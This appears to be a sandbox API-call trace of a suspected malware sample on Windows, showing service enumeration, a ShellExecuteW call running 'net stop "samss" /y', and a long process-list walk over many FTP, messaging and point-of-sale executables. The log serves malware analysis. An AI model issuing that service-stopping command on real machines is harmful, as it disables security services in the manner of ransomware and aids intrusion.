	[0259.573] EnumServicesStatusW (in: hSCManager=0x424880, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x1828, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 1
	[0259.597] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0261.620] Sleep (dwMilliseconds=0x96) 
	[0262.038] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.177] Sleep (dwMilliseconds=0xc350) 
	[0273.845] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x6d4
	[0274.225] Process32FirstW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0274.227] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0274.229] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0274.230] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0274.232] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0274.234] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0274.236] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0274.238] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0274.240] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0274.242] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0274.244] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.246] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.248] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.250] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.252] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.254] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.255] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.257] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0275.317] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0275.319] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0275.321] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0275.323] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.325] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.326] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0275.328] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.330] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0275.331] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0275.333] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0275.335] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0275.337] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0275.339] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0275.340] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0275.342] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0275.344] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0275.346] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0275.347] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0275.349] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0275.488] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0275.490] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0275.492] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0275.493] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0275.495] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0275.497] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0275.499] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0275.500] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0275.502] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0275.503] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0275.505] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0275.507] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0275.508] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0275.510] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0275.512] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0275.513] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0275.515] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0275.517] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0275.518] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0275.520] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0275.666] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0275.668] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0275.670] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0275.672] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0275.674] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0275.676] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0275.678] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0275.680] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0275.682] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0275.684] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0275.685] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0275.687] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0275.689] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0275.691] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0275.693] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0275.695] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0275.697] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0275.699] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0275.701] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0275.703] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0275.705] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0275.707] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
